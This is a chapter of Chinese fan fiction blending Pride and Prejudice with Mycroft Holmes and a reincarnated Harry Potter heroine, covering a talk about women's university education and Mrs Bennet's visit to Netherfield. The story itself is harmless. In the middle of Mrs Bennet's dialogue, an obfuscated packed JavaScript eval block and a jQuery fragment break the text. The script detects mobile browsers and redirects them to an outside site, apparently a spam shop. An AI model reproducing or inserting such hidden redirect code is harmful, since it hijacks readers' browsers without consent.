“1861年，法国索邦大学正式授予一位女性学士学位。此后，法国各大高等学府也陆续向女性开放入学。我几乎可以肯定，在进入二十世纪后，法国的女性都能在大学中接受教育并获得学位。
这些都无一不在证明，女性进入高等学府，并非异想天开。英国或许迟缓，但终究会追随这一潮流，全面开放女性入学、考试与学位授予，这些只是时间的问题。”*1
宾利小姐显然被这番话震住，一时不知该如何反驳，只能抿紧嘴唇。
麦克罗夫特顿了顿，转头看向凯瑟琳，“不知道凯瑟琳小姐的法语如何？若是足够精通，我倒是非常建议你前往法国求学。比起英格兰的乡村，那里或许更适合你。”
凯瑟琳微笑：“谢谢你的好意，福尔摩斯先生。但恐怕我的法语水平，还不足以支撑我完成一整个全法语的大学课程。”
麦克罗夫特：“作为一名英语母语者，学习法语其实并不困难。我的祖母是法国人，得益于她的影响，我自幼便能说一口流利的法语。事实上，与英语同属日耳曼语系的德语，我也仅仅花了一天的时间学习，便能进行日常沟通。”
凯瑟琳：“……”
她差点没忍住叹气。
这种程度已经足以让人忽略他是不是在凡尔赛了。
毕竟，真正的天才，总能在不经意间让普通人觉得自己是条没脑子的金鱼而无地自容。
然而，麦克罗夫特的建议对她而言并非毫无意义。
法国的确是一个不错的选择。与其留在英格兰，为了能继续学习而小心翼翼地掩饰身份，顾忌流言，不如去一个早已向女性敞开高等学府之门的国度。
在那里，女性接受教育早已不再是新闻。无论是社会舆论、学术氛围，还是对女性从事科研工作的支持，法国都远远领先于英国。
但她心底那道隐秘的阴影仍在，也许是与伏地魔的战争留下的后遗症。
她记得自己如何在战前亲手抹去父母的记忆，如何将自己在那个家中的一切痕迹都彻底消除。
她上一世的父母此生再也不会知道，他们的女儿其实早已死在了另一个他们无法接触的世界的战争中。
如果历史进程不改变，那么再过十几年，欧洲大陆将要迎来第一次世界大战。她不想在发生战争的时候离开家人。
那种离别太痛，她不想再来一次。
更不想在另一个战争的前夜，再次孤身漂泊。
她掩下思绪，轻声回应：“事实是，福尔摩斯先生，恐怕并不是所有人都像你那样天赋卓绝。”
麦克罗夫特露出了一个颇感遗憾的表情，神色间闪过一丝玩味的笑意：“或许吧。”
“一天？”宾利终于反应过来，震惊地瞪大了眼，“福尔摩斯先生，你只花了一天就学会了德语？天哪，这简直是天才的所为。我当年学习法语，可整整花了一年，才敢与人勉强对话。”
原本正在写信的达西此时放下手中的笔，抬眼沉思片刻：“福尔摩斯先生，你知道英国目前有哪所大学，能为女士提供教育并授予学位吗？”
麦克罗夫特：“据我所知，伦敦大学是第一个向女性开放并授予学位的英国学府。”
宾利感叹：“达西，你是不是在考虑让乔治安娜小姐也去大学深造？”
达西点了点头：“若她有此意愿，我当然会支持。”
这句话令伊丽莎白一愣。
她原本以为，像达西这样出身高贵性情持重的绅士，对女性教育的看法应当与宾利小姐无异。
毕竟他们看起来都是那种保守且傲慢的上等人，对于女性接受高等教育这样新鲜的事物应该无法接受。
从宾利兄妹这几日提到乔治安娜小姐的话里足以窥见，达西虽然不遗余力地培养妹妹，却仍旧沿着传统的轨迹在塑造她，牢牢限定在淑女的框架之中。
可此刻，他却显得格外真诚。
她忽然意识到，这个看似高傲拘谨的男人，或许比她想象的更加清醒，也更加宽容。
“咚咚——”
客厅的门口传来两声敲门声，是管家来通报。
“先生女士们，有客人来访。是班内特太太和两位班内特小姐。”
宾利立刻坐直身来：“快请她们进来。”
“噢！”伊丽莎白啪地合上手里的书。
她想起来，这两日简的病情已大好，昨天晚饭前，她便让人给朗博恩送了信，请母亲今日派马车来接她们回家。
于是她转向宾利解释道：“是我的母亲来接我们了，宾利先生。”
宾利在今天早餐时，就已经被伊丽莎白告知了她们打算回家的事情。他还特意挽留了一番，认为简的病方好，不宜劳顿，完全可以在尼日斐花园再多留几天。
然而，这一提议被伊丽莎白婉言谢绝。不论如何，单身未婚的年轻小姐长时间借宿在无亲缘关系的单身男士家中，终究不合礼法。
“宾利先生，下午好！”
哪怕有三个女儿不在家，班内特太太看起来也过得很不错。那中气十足的问候声，一点儿也看不出来她平时嚷嚷着神经痛的虚弱样子。
她一进门，目光就四处打量，热情地赞叹尼日斐花园的宽敞与陈设的华丽，又一连串夸赞宾利的好眼光，选中了赫斯福特郡最漂亮的房子。
直到说到兴头上，她才忽然注意到客厅角落里还坐着一位陌生的高大绅士。
这位男士不仅身高能与达西媲美，长相也十分俊朗端正，看起来就是一位得体的绅士。
她当下就猜到了，这位一定是昨日卢卡斯太太口中一直念叨着的，宾利先生和达西先生在伦敦政界的朋友。
班内特太太那双善于发掘每一位优质单身男士的眼睛登时就亮了，“这位是？”
宾利立刻顺势介绍：“这位是福尔摩斯先生，是我的朋友，近日正好休假，我便邀请他到尼日斐花园中小住几日。”
麦克罗夫特点头，微微一笑：“你好，班内特太太。我是麦克罗夫特·福尔摩斯。”
“哈哈，你好你好！我是简、伊丽莎白和凯瑟琳的母亲。我身边这两位也是我的女儿，玛丽和莉迪亚。”
班内特太太的笑声差点没收住，眉眼都快眯成一条线，心脏激动得要跳出嗓子眼儿了。
上天待她班内特家真是不薄。
短短数日内，尼日斐花园竟汇聚了三位身份不凡的单身男士。
两位家财万贯，还有一位据说是首相先生的近臣。
她几乎能听见自己心中那噼啪作响的算盘声。
看着母亲那双因兴奋而闪亮的眼睛，凯瑟琳不禁在心底叹了口气。
再看向伊丽莎白，两人对视一眼，都在彼此的眼中看见了无奈与尴尬。
宾利与达西的身家性情早已被村里各位太太们反复拆解过，如今又来了个新的单身绅士，且自己是第一批能与他见面的，班内特太太自然不会放过这个打探消息的好机会。
“福尔摩斯先生要在尼日斐花园休假多久？”
“大约一个月。”
“一个月！”班内特太太惊喜得眉开眼笑，“那可太好了，足够让你熟悉我们这片可爱的乡村。相信我，这里的风景和空气可比伦敦好得多，你会舍不得离开的。”
麦克罗夫特微笑：“我已经在享受乡村的美好了，班内特太太。”
“你应该多社交，乡村的姑娘们可是比伦敦的小姐们更爽朗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585911|187304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
健谈。若是能再办一场舞会，你一定得参加！”
宾利简直是尼日斐花园的捧哏大王：“班内特太太，我想福尔摩斯先生其实已经和乡村小姐相谈甚欢了，这几日他与凯瑟琳小姐几乎无话不谈。”
凯瑟琳惊骇地瞪大眼：“……”
不是吧老哥？到头来是你出卖我？
班内特太太闻言喜形于色：“真的吗？我就知道，我就知道。凯瑟琳的见识是所有姐妹里最广的，她一定能和在政府工作的绅士谈得来。”
莉迪亚一听到舞会就兴奋得几乎跳起来：“宾利先生，你一定要在尼日斐花园再办一次舞会！你一定要答应我这个小小的请求，尼日斐花园的舞会大家一定会穿上最好看的礼服来参加的！”
一直不吭声的玛丽也忍不住尴尬地瞥了一眼身边的母亲和妹妹，“莉迪亚，冷静些。”
宾利小姐的目光滑向麦克罗夫特，唇角微扬。
那表情就像是无声地在说：“看，我说得没错吧？班内特一家就是这么上不得台面。”
麦克罗夫特眼角却带出一丝笑意。
余光中，他看见凯瑟琳正抬手捂着额头，一副想立刻消失的模样。
“噢，当然，当然！”宾利愉快地拍手，“我正有此意，福尔摩斯先生对乡村舞会也有极大的兴趣。”
“天哪！”班内特太太惊喜道，“一位喜爱舞会的先生！这可真难得，要知道，上次在梅里顿的舞会上居然有绅士不喜欢跳舞，实在令人震惊。”
她这话几乎就差把当事人的名字直接点出来了。
伊丽莎白与凯瑟琳对视一眼，都忍不住偷笑。
果然，达西的脸色隐隐发青。
他原本不想理会班内特太太的喋喋不休，偏偏此刻抬眼，就撞见麦克罗夫特似笑非笑的神情。
对方显然猜到了班内特太太在说谁。
达西：“……”
这种时候倒也不必如此敏锐。
“福尔摩斯先生，我的女儿们可都是出色的舞者。到时候，你可以与她们中的任何人跳上一支舞。要我说，整个梅里顿都没有比朗博恩的小姐们更擅长跳舞的姑娘了！”
“我的大女儿简，是十里八乡的美人儿，舞姿优美典雅。当然，我想宾利先生一定不会放过与她共舞的机会。我的莉兹和玛丽更喜欢书本和钢琴，但她们的舞步也相当出色。”
伊丽莎白忍不住低声劝阻：“妈妈……”
“至于莉迪亚，她活泼开朗，能跳一整晚。还有我的四女儿凯蒂，她可是在伦敦女子精修学校学习了许多年，舞蹈乐器样样精通。上次在梅里顿的舞会上，全场的单身男士都争相邀请她跳舞……”
凯瑟琳：“……”
如果脚趾能抠地，她现在已经拥有一幢比尼日斐花园更奢华的房子了。
她急忙打断班内特太太：“妈妈！妈妈！简还在房间里，我们快去帮她收拾行李吧。我想爸爸自己在家一定已经很想念我们了。”
伊丽莎白手疾眼快地打配合，一把揽住母亲的肩膀，往门口挪。
但班内特太太仍恋恋不舍地回头，对麦克罗夫特笑着说：“福尔摩斯先生，若是你想邀请凯蒂跳舞，可得早早行动，别怪我没提醒你，她可太受欢迎啦！”
凯瑟琳：“……”
救命啊，人为什么不能随时变成土地爷遁地离开？
这比她在任何版本的影视剧上看到的情节都更让她真切体会到，班内特太太那种不合时宜的出言无忌所带来的尴尬。
看着脸快皱成一团的凯瑟琳，麦克罗夫特这下再也忍不住，大笑出声。
在班内特太太期许的目光下，他点点头：
“我会的，班内特太太。”